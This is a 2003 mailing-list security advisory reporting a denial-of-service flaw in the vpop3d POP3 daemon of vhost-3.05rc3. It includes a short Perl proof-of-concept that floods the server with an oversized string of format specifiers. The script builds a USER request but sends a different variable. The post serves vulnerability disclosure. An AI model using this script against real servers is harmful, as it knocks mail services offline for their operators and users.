[<prev] [next>] [day] [month] [year] [list]
Message-ID: <Pine.NEB.4.33.0308191105040.1831-100000@sdf.lonestar.org>
Date: Tue, 19 Aug 2003 11:15:02 +0000 (UTC)
From: Daniel <deadbeat@....lonestar.org>
To: <full-disclosure@...ts.netsys.com>, <bugtraq@...urityfocus.com>
Subject: Vhost-3.05rc3 DOS..
Topic: vhost-3.05r3 DOS
Product: vhost-3.05r3
Note: for a laugh grep vpop3d.cc for
strcpy or sprintf..loool
Vendor Notification: Vendor Notified
Background:
vhost - one-step solution for all virtual hosting needs
Copyright(c) Chaogic Systems, LLC. http://chaogic.com
Author: Jake Fan <jake@...ogic.com>
allows the setting up of vhosts for mail and web.
Problem Description:
Seems that an attacker (remote or local) can cause a DOS on the
vpop3d server, using a lengthy request..
This seems to cause the pop3 server to timeout then daemon
drops...Note this was tested locally, with the binary..
Seems that also if we attach gdb to the running process that also
locks vpop3d.. ;)
Once we've hit it with our huge USER string it gives this mesg
after 5mins or so..
"-ERR POP3 Server Abnormal Shutdown: Timeout waiting for command
from client"
Impact:
DOS on the vpop3d daemon, means a manual restart of the daemon.
Patch:
Far too much to patch in this code!!!
Exploit:
Nothing special..
----------------------------------------------------------
#!/usr/bin/perl
#vpop3d Denial Of Service..
#Proof of Concept script..
#Deadbeat, uk2sec..
#e: deadbeat@....lonestar.org
#e: daniels@...end.co.uk
use IO::Socket;
$host = $ARGV[0];
$port = $ARGV[1];
if(!$ARGV[1]){
die "usage: perl $0 <host> <port>\n";
}
$dos = "%s%s"x5000;
$req = "USER $dos";
$sox = IO::Socket::INET->new(
Proto=>"tcp",
PeerPort=>$port,
PeerAddr=>$host
)or die "can't connect to $host : $port\n";
sleep 2;
print $sox $dos;
sleep 1;
print "done..vpop3d should lock now :)\n";
------------------------------EOF-------------------------
Regards,
Deadbeat, uk2sec..
-------------------------------------
Deadbeat,
e: deadbeat@....lonestar.org
e: daniels@...end.co.uk
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: GnuPG v1.0.6 (Net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vO
+nnqw/VAn/SE1I9H8hsvN17wa2br7LELhEBycVTsHU/qr4KsxAcz77U/5/K47arG
+uM52DoxFpjSpi54Ez83s1cAAwUH/0HSEtOkIETS6jiOKlYFXO/8sOh8yaRr6e9T
+da2UNxTEQDz4nNac8TS0UxrBKXTQf8tVnOYajhEG6ZVD10Xvhn0fv9gc96hEIi3
qY8YRVX/TY/PGtVdOBvQuqWjnkSLP5xbDsBa9vdpM9s2XyaEmJ9aLWSBeeO9Hjd9
v91jxJupH7HqxxvhePEtY/QujT5XIk9p4YPzzhBXMf6jLNqIvEFFeAhoNgheodE6
EuRSfh4YJ8dpIKUQxQTtx/hmbnjMpRT/Fi4AI2KGS0wGR8brs94T4J91u4cYrkzL
r9Bri0gkxj3L9+nEFSrqm0J7ihbW0blqr+8HZxLeNYXDNtfoqdyITAQYEQIADAUC
PFZ9rgUJAO1OAAAKCRAaRjzWDUUMXYlPAKCCZcdDJmlTFCYrBcYoAefYbMEc5ACf
aSJMzYo9ENJ22pd/5nw5c2vxsbI=
=TwPI
-----END PGP PUBLIC KEY BLOCK-----
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html
Powered by blists - more mailing lists